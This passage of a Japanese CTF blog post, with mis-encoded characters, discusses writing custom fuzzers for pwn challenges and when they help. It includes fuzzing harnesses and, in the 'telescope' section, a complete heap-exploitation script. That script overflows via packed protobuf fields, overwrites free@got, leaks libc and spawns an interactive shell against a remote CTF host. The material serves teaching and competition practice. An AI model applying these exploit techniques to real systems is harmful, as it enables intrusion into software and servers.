static void alloc(long size) { struct atoms_ioctl_alloc arg = { .size = size * 0x1000, }; printf("alloc(%ld) == ", size * 0x1000); int r = ioctl(fd, ATOMS_ALLOC, &arg); printf("%d\n", r); } static void release() { printf("release() == "); int r = ioctl(fd, ATOMS_RELEASE); printf("%d\n", r); } static void use_token(long token) { printf("use_token(%ld) == ", token); int r = ioctl(fd, ATOMS_USE_TOKEN, token); printf("%d\n", r); } static void map(long size, long addr) { printf("map(0x%lx, 0x%lx) == ", size, addr); void *ptr = mmap(addr*0x1000, size*0x1000, PROT_WRITE, MAP_SHARED, fd, 0); printf("%p\n", ptr); }
ã©ã³ãã ãªæä½ãèµ°ããã¾ãã æ®å¿µãªããããã§ã¯ã¯ã©ãã·ã¥ããªãã£ãã®ã§ãä»åº¦ã¯ãã«ãã¹ã¬ããã«ãã¾ããï¼ã«ã¼ãã«ã©ã³ãã®å ´åã¯è«¦ããã«ãã«ãã¹ã¬ããã試ãã¾ããããï¼
void *f1(void *arg) { while(1) { alloc(rand() % 0x11); usleep(100); } return NULL; } void *f2(void *arg) { while(1) { use_token(rand() % 0x1000); usleep(100); } return NULL; } void *f3(void *arg) { while(1) { release(); usleep(100); } return NULL; } ... pthread_create(&t1, NULL, f1, NULL); pthread_create(&t2, NULL, f2, NULL); pthread_create(&t3, NULL, f3, NULL); while(1) { map(rand() % 0x1000, rand() % 0x11); usleep(1000); }
ãããèµ°ãããã¨ãã¯ãåå ã¯ç¥ãããã©æ°ç¾ã¤ãã¬ã¼ã·ã§ã³ã§ã«ã¼ãã«ããã³ã°ãã¾ãã ããã¦10ç§å¾ ã¤ã¨ãã©ã°ãåºã¦ãã¾ããï¼alarmãä»ãã¦12ç§ãããã§å¾©å¸°ããããã«ãããï¼
Step 2. åé¡ãè§£ã
Step 1ã§è§£ãã¾ããããã§ãããã§ããã è§£ãã®ã«15åãããã£ã¦ãªãã¨æãã
cgi - CGIã®Fuzzing
Apacheã§è¬ã®CGIãåãã¦ããåé¡ã§ãã
æ®å¿µãªãããã®åé¡ã¯ç«¶æä¸ã«è§£ãã¾ããã§ããã
ã¾ã99%è§£ããã¿ãããªãã®ã§ããã¨ã¯ç°å¢ä¾åã®åé¡ã ã£ãã®ã§fuzzãã¼ãã ã説æãã¾ãã
ãã®åé¡ã常è¨CTFã§ä½¿ãåããããã¿ãããªã®ã§ãã£ã±ã詳細ã¯å
¬éã§ãã¾ããm( )m
Step 1. Fuzzerã®æ¹éãç«ã¦ã
ãã®åé¡ã¯reversingãå¿ è¦ã§ããæ®å¿µã ãå餿¸ã¿ãã使ããããã«ãªãã¾ãã ãå餿¸ã¿ãã調ã¹ãwebæ å½ã«æããã¨ãå餿¸ã¿ãã¨ããçããè¿ã£ã¦ããã®ã§ãããå©ç¨ãã¾ãããã
ãã®åé¡ã¯ãµã¼ãã¼å´ã§
ãå餿¸ã¿ã
ã¨ãã£ããã¨ããã¦ãã¾ãã
ä»åã¯apacheã対象ã§ãã®ã§ãæ£ããHTTPãªã¯ã¨ã¹ããéããã¨ãã¾ãsyntaxãå®ãããã«è¦æ±ããã¾ãã ããã¦ãPOSTãããã¼ã¿ã¯ããå餿¸ã¿ããã§ããå¿ è¦ãããã¾ãã ãã¾ã¾ã§ã¯ã©ã³ãã ãªãã¤ãåããã¼ã¿ã¨ãã¦ãã¾ããããä»åã¯ã©ã³ãã ãªãªãã¸ã§ã¯ãããã¼ã¿ã¨ãã¾ãã
è¦ããã«ã©ã³ãã ãªJSONãä½ãã°è¯ãã®ã§ãç«¶æä¸ã¯æ¬¡ã®ãããªåç´ãªçæå¨ãæ¸ãã¾ããã
def create_structure(max_depth=5): if max_depth == 0 or (max_depth != 5 and random.random() < 0.5): T = random.randrange(0, 4) if T == 0: return random.choice([True, False]) elif T == 1: return random.uniform(-1000.0, 1000.0) elif T == 2: return random.randint(-100000, 100000) elif T == 3: return randbytes(0x10) else: T = random.randrange(0, 2) if T == 0: obj = {} for i in range(random.randint(0, (6-max_depth) * 5)): obj[randbytes(0x10)] = create_structure(max_depth-1) elif T == 1: obj = [] for i in range(random.randint(0, (6-max_depth) * 5)): obj.append(create_structure(max_depth-1)) return obj
ãããæããä»åã¯ã¹ãã¼ã¿ã¹ã³ã¼ããè¦ã¦ã¯ã©ãã·ã¥ãããã確èªãã¾ãã
ãå餿¸ã¿ã
ãããå°ãï¼æ°ç¾ãæ°åã¤ãã¬ã¼ã·ã§ã³ï¼èµ°ãããã¨ãã¯ã©ãã·ã¥ãè¦ã¤ããã¾ãã ã¯ã©ãã·ã¥ã¡ãã»ã¼ã¸ã«ã¯ãã¹ã¿ãã¯å¤åç §ã¨general protection faultã®2種é¡ãããã®ã§general protection faultã®æ¹ã®ãã¹ãã±ã¼ã¹ãè¦ã¾ãããã
Step 2. è§£ããã
ãªããä½åè ã®äººãpwnable.twã«ä½¿ãåãã¿ãããªãã¨è¨ã£ã¦ãã®ã§èå¼±æ§ã®åå ã¨ãè§£æ³ã¯å ±æãã¾ããã
telescope - Fuzzingã®çµæããæ»ç¥æ³ãèãç´ã
protobufãå©ç¨ãããã¤ããªã®åé¡ã§ãã Reversingãå¿ è¦ã§ããããããªã«éããããã¾ããã
Step 1. Fuzzerã®æ¹éãç«ã¦ã
ãã¤ãã©ããwrapperãæ¸ãã¾ãã
def new_slot(slot, size): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(slot)) sock.sendlineafter(">\n", str(size)) def write_slot(slot, data): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(slot)) sock.sendafter(">\n", data) def delete_slot(slot): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(slot)) def telescope(slot): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(slot)) def show_slot(slot): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(slot)) l = sock.recvuntil("op>\n")[:-4] sock.unget("op>\n") return l
ä»åã¯ä½ãæ¤æ»ããããã¨è¨ãã¨ããã¡ããprotobufãå©ç¨ãã¦ããç®æã§ãã æ®éã®ãã¼ãåã£ã½ãåé¡ã«ããããprotobufãçµã¿è¾¼ã¾ãã¦ããã®ã§ããããããã«èå¼±æ§ãããã«æ±ºã¾ã£ã¦ãã¾ãã
Reversingã®çµæãããprotobufã§å®ç¾©ããããããã³ã«ã«å¾ã£ããã¼ã¿ãå±éãããããã¾ãprotobufå½¢å¼ã«ããéã«å ããããã¼ã¿éãå¢ãã¦ããã°ãã¼ããªã¼ãã¼ããã¼ãçºçãããã¨ãåããã¾ãã protobufãä½ãç¥ããªãã£ãã®ã§ãã®ãããªãã¨ãã§ããã䏿ã§ããã ããã§ãç¹å®ã®å ¥åã§ãã¼ã¿éãå¢ããªããã確èªãããããä»åã¯æ¬¡ã®ãããªfuzzerãæ¸ãã¾ããã
import random while True: t = Telescope() for i in range(random.randrange(0, 0x100)): t.lens.append(random.randrange(0, 0x100000000)) t.password = 0xdeadbeef payload = t.SerializeToString() print(hex(len(payload)), payload) new_slot(0, len(payload)) write_slot(0, payload) telescope(0) r = show_slot(0) if len(r) != len(payload): print("[!] ALERT") print(hex(len(r)), r) print(t) input("> ") delete_slot(0)
ãã£ã¦ãããã¨ã¯ä»ã¾ã§ã¨å°ãéããå ¥åãããµã¤ãºã¨ãå±éå¾ã«å§ç¸®ãããµã¤ãºãç°ãªãã°ã¢ã©ã¼ããåºãã¾ãã
Step 2. å ¥åå½¢å¼ãåèãã
æ®å¿µãªããããã§ã¯ã¯ã©ãã·ã¥ãã¾ããã ä¸å¿ãã¾ã¾ã§ã¨åãããã«ã©ã³ãã ãªæä½ãããfuzzerãæ¸ãã¾ãããããã¯ãã¯ã©ãã·ã¥ãã¾ããã ãããã£ã¦ãããã¯ãã¤ããªå´ã®æ¬ é¥ã¨ãããããprotobufã®è¬ä»æ§ã使ã£ã¦ããå¿ è¦ãããããã§ãã
ããã§ãprotobufã®ä»æ§æ¸ãèªã¿ã«è¡ãã¾ãã ããã¨ã"Packed Repeated Fields"ã¨ãããã®ããããä½ããã¡ãã»ã¼ã¸ãå§ç¸®ã§ãããã ã¨åããã¾ãã æ¬¡ã®ããã«ãããã³ã«ã夿´ãã¦å度fuzzerãèµ°ããã¾ãã
syntax = "proto2"; message Telescope { repeated int64 lens = 1 [packed=true]; optional int64 password = 2; }
ããã¨ãä¸ç¬ã§ãã°ãçºè¦ãã¾ãã
$ LD_PRELOAD=./libprotobuf.so.17 socat TCP-L:9999,reuseaddr,fork EXEC:./telescope free(): invalid next size (normal) 2020/12/15 00:27:56 socat[8191] E waitpid(): child 8192 exited on signal 6
Step 3. åé¡ãè§£ã
è§£æããã¨äºæ³éããã¼ããªã¼ãã¼ããã¼ãçºçãããã¨ãåããã¾ãã ãã¨ã¯é½åã®è¯ããã±ãããä½ã£ã¦å½ã®å·¨å¤§ãã£ã³ã¯ãfreeããé©å½ã«overlapãä½ãã°è§£ãã¾ãã
from ptrlib import * from telescope_pb2 import Telescope def proto_unpack(v): bins = '' assert v[0] == 0x08 # (field_number<<3) | variant for c in v[1:]: x = bin(c)[2:].zfill(8) bins = x[1:] + bins if x[0] == '0': break return int(bins, 2) def new_slot(slot, size): sock.sendlineafter(">\n", "1") sock.sendlineafter(">\n", str(slot)) sock.sendlineafter(">\n", str(size)) def write_slot(slot, data): sock.sendlineafter(">\n", "2") sock.sendlineafter(">\n", str(slot)) sock.sendafter(">\n", data) def delete_slot(slot): sock.sendlineafter(">\n", "3") sock.sendlineafter(">\n", str(slot)) def telescope(slot): sock.sendlineafter(">\n", "4") sock.sendlineafter(">\n", str(slot)) def show_slot(slot): sock.sendlineafter(">\n", "5") sock.sendlineafter(">\n", str(slot)) l = sock.recvuntil("op>\n")[:-4] sock.unget("op>\n") return l libc = ELF("./libc-2.31.so") elf = ELF("./telescope") #sock = Socket("localhost", 9999) sock = Socket("nc 13.112.193.37 8573") # consume bins logger.info("consume bins") [new_slot(0x010, 0x0b8) for i in range(0+3)] [new_slot(0x020, 0x0e8) for i in range(6+4)] [new_slot(0x030, 0x0f8) for i in range(0+1)] [new_slot(0x040, 0x108) for i in range(3+0)] [new_slot(0x050, 0x118) for i in range(0+1)] [new_slot(0x060, 0x128) for i in range(0+1)] [new_slot(0x070, 0x148) for i in range(0+1)] [new_slot(0x080, 0x158) for i in range(0+1)] [new_slot(0x090, 0x178) for i in range(0+2)] [new_slot(0x0a0, 0x1a8) for i in range(0+2)] [new_slot(0x0b0, 0x1d8) for i in range(0+2)] [new_slot(0x0c0, 0x208) for i in range(1+2)] [new_slot(0x0d0, 0x238) for i in range(0+1)] [new_slot(0x0e0, 0x258) for i in range(0+1)] [new_slot(0x0f0, 0x268) for i in range(0+1)] [new_slot(0x100, 0x298) for i in range(0+3)] [new_slot(0x110, 0x2c8) for i in range(0+1)] [new_slot(0x120, 0x2f8) for i in range(0+1)] [new_slot(0x130, 0x4b8) for i in range(0+1)] [new_slot(0x140, 0x5f8) for i in range(0+1)] [new_slot(0x150, 0x638) for i in range(0+1)] [new_slot(0x160, 0x678) for i in range(0+1)] [new_slot(0x170, 0x6f8) for i in range(0+2)] [new_slot(0x180, 0xa38) for i in range(0+1)] [new_slot(0x190, 0xab8) for i in range(0+1)] [new_slot(0x1a0, 0xc38) for i in range(0+1)] [new_slot(0x1b0, 0x138) for i in range(1)] # unsorted bin # added later for use of 0x18 logger.info("consume bins for 0x18") [new_slot(0x010, 0x018) for i in range(1+8)] [new_slot(0x020, 0x028) for i in range(5+27)] [new_slot(0x030, 0x048) for i in range(6+1)] [new_slot(0x040, 0x088) for i in range(5+4)] [new_slot(0x050, 0x098) for i in range(0+1)] # feng shui time logger.info("feng shui") new_slot(0, 0xb8) new_slot(1, 0xc8) new_slot(2, 0x18) new_slot(3, 0x18) new_slot(4, 0xe8) # do not consolidate delete_slot(0) # heap overflow to forge size logger.info("abuse telescope") t = Telescope() for i in range(0x16): t.lens.append(0xdeadcafebabe) t.lens.append(0xadcafebabe) t.lens.append(proto_unpack(p64(0x18108))) t.password = 0xdeadbeef payload = t.SerializeToString() new_slot(0, len(payload)) write_slot(0, payload) telescope(0) # free fake big chunk fake_chunk = b'A' * 0x60 fake_chunk += p64(0) + p64(0x21) fake_chunk += p64(0) * 2 fake_chunk += p64(0) + p64(0x21) fake_chunk += b'A' * (0xe8 - len(fake_chunk)) write_slot(4, fake_chunk) delete_slot(3) # for tcache cnt delete_slot(2) delete_slot(1) # heap overlap to forge link logger.info("link corruption") new_slot(1, 0x178) fake_chunk = b'B' * 0xc0 fake_chunk += p64(0) + p64(0xe1) fake_chunk += p64(elf.got("free")) fake_chunk += b'B' * (0x178 - len(fake_chunk)) write_slot(1, fake_chunk) new_slot(2, 0x18) new_slot(3, 0x18) payload = p64(elf.plt("printf")) # free@got payload += p64(0xffffffffdeadbeef) + p64(0xffffffffcafebabe) write_slot(3, payload) # leak libc payload = "%{}$p\n".format(0x11 + 6) new_slot(777, len(payload)) write_slot(777, payload) delete_slot(777) libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - 0xf3 logger.info("libc = " + hex(libc_base)) # overwrite free again payload = p64(libc_base + libc.symbol("system")) # free@got payload += p64(0xffffffffdeadbeef) + p64(0xffffffffcafebabe) write_slot(3, payload) write_slot(2, "/bin/sh\0" + "A"*0x10) # win! delete_slot(2) sock.interactive()
ãã¡ãªä¾
æå¾ã«èªä½fuzzerãå½¹ã«ç«ããªãã£ãäºä¾ãæããèªè ã®æ¹ã«ããªãã ããã£ã±ã試ã価å¤ãªããªããã¨æããã¦çµããã«ãã¾ãã
Apoche II - pbctf 2020
fuzzerãæ¸ãã«ããå ¸åçãªä¾ã®åé¡ã§ãã
ããããèªä½HTTPãµã¼ãã¼åé¡ã§ãããã½ã¼ã¹ã³ã¼ãã¯é å¸ããã¦ããããã¤ããªãå²ã¨ã§ããã§ãã æ¬¡ã®ãããªfuzzerãæ¸ãã¾ããããã¯ã©ãã·ã¥ã¯çºçãã¾ããã§ããã
while True: sock = Socket("localhost", 1337) url = b'/'.join([rndstr(random.randrange(1, 0x10)) for i in range(random.randrange(1, 100))]) payload = b"GET " + url + b" HTTP/1.1\r\n" payload += b"Host: localhost:1337\r\n" for i in range(random.randrange(1, 10)): payload += rndstr(4) + b": " payload += rndstr(random.randrange(1, 0x1000)) + b"\r\n" sock.send(payload + b"\r\n") l = sock.recvline() if b'404' in l: print("[+] Not Found") else: print(payload) print(l) input() sock.close()
ã¯ã©ãã·ã¥ããªãã£ãã®ã§æ©ã ã«åãä¸ãã¦å¥ã®åé¡ãè§£ãã¦ããã®ã§ãããçµæã¨ãã¦ãã®åé¡ã¯0 solveã ã£ãã®ã§ããæå³ã§ã¯fuzzerãå½¹ã«ç«ã¡ã¾ããã
TODO List - pbctf 2020
fuzzerã使ããããèå¼±æ§ãæã§è¦ã¤ããæ¹ãç°¡åãªä¾ã§ãã
ãããããã¼ãåã§ãããã¼ãã®ç¶æ ã«æ³¨æãã¦æ¬¡ã®ãããªfuzzerãæ¸ãã¾ããã
TODO = [[] for i in range(NUM_CATEGORY)] sock = Process("./todo") while True: category = random.randrange(0, NUM_CATEGORY) choice = random.randrange(0, 3) if choice == 0: #if len(TODO[category]) == 0: tasks = [randstr(random.randint(1, 0x100)) for i in range(random.randint(1, 10))] print(f"add({category}, {tasks})") add(category, tasks) TODO[category] += list(tasks) elif choice == 1: if len(TODO[category]) > 0: print(f"view({category})") view(category) elif choice == 2: if len(TODO[category]) > 0: target = random.sample(TODO[category], random.randint(1, len(TODO[category]))) removes = [TODO[category].index(x)+1 for x in target] print(f"finish({category}, {removes})") finish(category, removes) for x in target: TODO[category].remove(x)
å®è¡çµæã¨ãã¦ã¯æ¬¡ã®ããã«ä¸ç¬ã§ã¯ã©ãã·ã¥ãã¾ããã
[+] __init__: Successfully created new process (PID=23905) add(3, ['vHLlEIpywAZCTh8h77EBHkMhRnrRpfESQnYrTUlK0FTk8ppz1Ov4sCM6UsU5D', 'JiHXC4n0Q4FfVLquaKdWRvVuGBMS5al7BE0SKcpS3khnWdvhyxEBZBvqUBf2ngOf0YlsTp3GN9bEknQ997nVH8eeHle5LjEzfUEWbmFwPwXNE18mPOgqkQwMzB31zqqJbpzpT71GtNJG4GymQG74BHxliCSH8Kq', 'UwOxmF8qkeIBewQFPWddCg19LFdHpshEOJCEyTQJpMz4yXtkLrsD0KGx3VlJnQG4uydWXO9VVdFhrI44R4Jq5pIsQMI', 'MOb3u9tsevXbc3n3KfxoYoCY1yxbGrYkci7d03e8SY9ay9gMtf2LbYX58rIGZ2om8bADhTlpLnDztmibVvCpG0g88lVwV8vIj13r7BIUyWSFZxMIgIFG4uMaBch6GDGlyq1CDSLFiVW2euoYTPjFIgVMZJqqsAcpf49AitBF3Ow3cys', 'wSODzpwzQVruLeSsjr93SEVCIYrt34Lc329yA4kacDQ1YRyAVfxeiCn12ft3c7Oc514r7KSszVvjGv02fBacqYpz0MWpGtugK7fhfiJlKDEMYPKNx3yG8BrrPWpw487xARKe7YhEkddZl9aeXNbbp0z6zgPpGvs3y21ZpreH7V', 'lZ9C7TRVSsdwkOvFmeNEUWAahUN8xBZcnrfX9AIcy5BABONAP7B2tguj8oINxkplpm4O4JZ5Hp313kQnD9RVQYIpF3kABan2lEDTb7nXmIWzgmEFow2LcZZLCY7AODwUjdWsxlK3k8lBeYc84Gzjwo88EQAcKwrWNUQZKdTEu3VW5aU8jD39RlaD9563faZOWbNrIAUdiPOiOkvdxEOQBeqpecZphNIdrW7dYf', 'PuqidrXqI5tf55gjvNMc4G4I3I5E1rqrI6kv2IrXVfNDnSGWz2yqfpAErSk27A2GokUQwBf9rxcpxbwPGODOTfLTqAQBz9WUM6syeqSJ1dwXA1O0yDsXFIwMAPvCaNjeFA0LJRldCzkZGJInlSb3FvQlDHMFzWkmsfgrnv3cpkmJ46IPlzXIJZOSjIXoEUrlGtpOJnt8NI8pREWcRfAmtJ4QvIuth5srlVlu8EuKG512dl6qb5NzmsRvFpc6d']) add(4, ['gUNH9h6Onh00tJzntGfzkfx2MZuXimYSn5U1CGJvKLWgWjMNw9xcoTpQ9cnUSfh3QwQPTf90HjqlzV7r0ptjcOjsMMmDk6iXQmVWbYukuV', '9Km2Jrr1v76v3H7kGl5LX5EBnuldaJwGRicnxWgXALe031B0fIAhzcfJzBxRTgaBXJ48Tl00AIRg2khbVbGQ67vDMZ5ne5mG5CacFl0VCxrYM83gMc88C09AvLuIgMXUetCVPjXeu', 'lRrEvV6eRki5IAPqFOAZulOSiLGZRcNsPYx4hYhERFwiM5vFlloBE3wXyBifELIWXLpJSjD72WKvgmP70yOgx0EYTmsKiN08V9GJyxradx1zQzCs5FvxOmSb5J']) add(4, ['ycnfU1b6AXpSoKN60Qm6k0Toofqfbg19WtORvsSQmHB6Cj31GnzTg1WPCXIBVjIN92kZgmN6KVStdJ9FNUta4gkXubIQRLdRCYxhpDruz3cY2WuawL81KF6RI4B1FiFpt3iqyt', 'upe96kXXlpOxi947mIGutjjThqDNirzOztZbO4cDBH1CFfXlzR6MQ90Shv9mlx5cFX456pEK7vkIp6dj7N0ccz7Qzt1GvIXIWsg5uBzKmxEdrnTjgjCFaHmHhzrbj', 'xD8HvJ0xJaV2IJq7rcidu7DfliHfJqmFBEhatE', 'rUErBEBzGrs5', '5oE1y282I4MIUM6Fq4tnn12dbsf9f3siULFShNRvKwXNggO8JfhO9n2pzz4pc5AK8PfQFxiru01XqaHoxwlaLXNvjp54OmJ3YiwOhRig9eNTUIzne7ZaxndPZ3GkkBoZLnP9MFte4Szk0aR5KpS93QEHfIFiRetvzO24Aspxsq']) view(4)
ãã®åé¡ãå®ã¯åãå ´æã«é£ç¶ã§addããã¨ãã°ããããªæ§é ã«ãªã£ã¦ãã¾ãããï¼ããã¦ãã以å¤ã«é大ãªãã°ã¯ãªããï¼ ãããªãã®ã¯fuzzerãæ¸ãã¾ã§ããªãé©å½ã«éã¹ã°åããã®ã§ããã®å ´åã¯fuzzerãæ¸ãããã®æéãæµªè²»ããæªãä¾ã¨è¨ãã¾ãã
babyauth - ASIS CTF 2020 Finals
èå¼±æ§ãèªæããã¦fuzzerã使ãã¾ã§ããªãåé¡ã®ä¾ã§ãã
ããã¯ç§ãä½ã£ãåé¡ã§ãã ããã¦ç§ãä½ãåé¡ã¯åä¸å «ä¹èå¼±æ§ãèªæã«ãã¦ããã®ã§fuzzerã使ãã¾ã§ãããã¾ããã*3 ã½ã¼ã¹ã³ã¼ããé å¸ãã¦ããã®ã§revããå¿ è¦ããããã¾ããã
void username_reader(IPC *ipc) { char username[32]; printf("Username: "); if (scanf("%s", username) != 1) exit(1); ipc_send(ipc, username, strlen(username) + 1); }
ãã®æã®ãèå¼±æ§ã¯ããåãããã©ãããããã©ãããã®ï¼ãã¿ãããªåé¡ã§ã¯ãã¡ããfuzzerã®åºçªã¯ããã¾ããã ç´è¿ã ã¨pbctfã®åé¡ã¯exploitãã¼ãã«æ¯éãç½®ããã¦ããï¼å¥½ãï¼ã®ã§ãfuzzerã¯ã»ã¼ä¸è¦ã§ããã
minilang++ - ASIS CTF 2020 Finals
Grammar Basedã®åé¡ã§ãã
ãããç§ãä½ã£ãåé¡ã§ãã å 容ã¨ãã¦ã¯æ¢åã®ã¤ã³ã¿ããªã¿ã«ãªã¬ãªã¬JITãä»ããã¨ããé ãç¿ããã¿ãããªåé¡ã§ãããããã¯ã¨ãããã¹ã¯ãªãããæ¸ãå¿ è¦ãããå ´åfuzzingãé£ããã§ãã
ãã¡ããææ³ã«å¾ã£ã¦ãã¹ãã±ã¼ã¹ãçæããGrammar Based Fuzzerã¨ããã®ãåå¨ããã®ã§ããããããCTFä¸ã«æ¸ãã®ã¯ä¸å¯è½ã§ãã ã¾ãã¦ããã®åé¡ã¯ã©ã£ãã®å¤§å¦ã®èª²é¡ã§åºãç¡åè¨èªãªã®ã§ãæ¢åã®Grammar Based Fuzzerã使ãã¾ãããã¨ãã§ãã¾ããã ããããã®ã¯é å¼µã£ã¦å·®åãèªããããªãã¨æãã¾ããï¼å®ã¯ããããåé¡ç¨ã®ç°¡æfuzzerãæ¸ããå ´åããããã©ä»åã¯èª¬æãã¾ãããï¼
Widmanstätten - HackTM CTF 2020 Finals
HackTMã®pwnã¯ä»ã«ãVMåã¨Android pwnããããããããFuzzingã¯é©ç¨ãå°é£ã ã£ãã®ã§æ®éã«è§£ãã¾ããã ãã®åé¡ã¯Fuzzingå¯è½ãªã¿ã¤ãã ã£ãã®ã§ä½¿ã£ãã®ã§ãããé©ãã»ã©ä½ãèå¼±æ§ãè¦ã¤ããã¾ããã§ããã
ãããããã¼ãåã¿ãããªæãã§add, edit, deleteçãªæ©è½ãæã£ãnodeã§åãwasm製ã¢ããªã§ãã æ¬¡ã®ãããªã³ã¼ããæ¸ãã¾ãããã¯ã©ãã·ã¥ãã¾ããã§ããã
state = [] for i in range(500): choice = random.randrange(0, 3) if choice == 0: category = random.randint(1, 4) name = random.choice(CATEGORY[category]) count = random.randint(-0xffffffff, 0xffffffff) print(f"add({category}, '{name}', {count})") state.append(add(category, name, count)) elif choice == 1 and len(state) > 0: index = random.choice(state) count = random.randint(-0xffffffff, 0xffffffff) size = random.randint(120, 121) description = randstr(random.randint(0, size)) print(f"update({index}, {count}, {size}, '{description}')") for desc in update(index, count, size, description): if b"FLAG" in desc: print(desc) input(":eyes:") elif len(state) > 0: index = random.choice(state) print(f"delete({index})") delete(index) state.remove(index) else: index = random.randint(0, 10) print(f"delete({index})") delete(index)
çµå±wasmãrevãã¦è§£ãã¾ããã
ããã°ã©ã ã¯ã¢ã¤ãã ã®é¸æã§ 6æå以ä¸å
¥åããã㨠strstr
ã§ä¸è´ãããã®ãé¸ãã§ãã¾ãã
ãã®ã¨ã"nuclear"ã¨"Nuclear"ãããã"uclear"ãå
¥åããã°ãã種ã®type confusionãèµ·ãã¾ããï¼ç§ã¯"\x00"*6ã使ãéæ³å®è§£ã§è§£ãã¾ããããï¼
Reversingããªãã£ãããããã®ãããªæåã¯ãã§ãã¯ãããçµæã¨ãã¦ã¯ã©ãã·ã¥ãè¦ã¤ãããã¾ããã§ããã
ãã®ããã«ããã°ãæåããã¦ããããã°ã©ã ãããã®ã§å ¥åã®syntaxãsemanticsãããã«ã¯type stateãã©ãã¾ã§ç²¾å¯ã«ãããã¯é£ããåé¡ã§ãã é©å½ã«ããã¨ã¯ã©ãã·ã¥ãè¦ã¤ããã¾ããããæ£ç¢ºã«ããããã¨ä»åã®ããã«ãã°ãè¦éãå¯è½æ§ãä¸ããã¾ãã ãã®è¾ºã¯ãã¬ã¼ããªããªã®ã§æ £ãã¦ãããããªãããã§ãã
çµè«
â´ fuzzer >>>>>> ptr-yudai
*1:ãã¤ããªããfeedbackã¯ç¡ãã®ã§blackboxã§ããããã¤ããªã«åãããfuzzerãæ¸ãã®ã§ä¸æãããã°whiteboxããå¼·ãã§ãã
*2:ä»å¹´type-stateããã£ã¼ãããã¯ã¨ãã¦åãåãUAFã«guideããfuzzerãåºã¾ãããåãã§ããã
*3:次åzer0pts CTF 2021ã«ãæå¾ ä¸ããï¼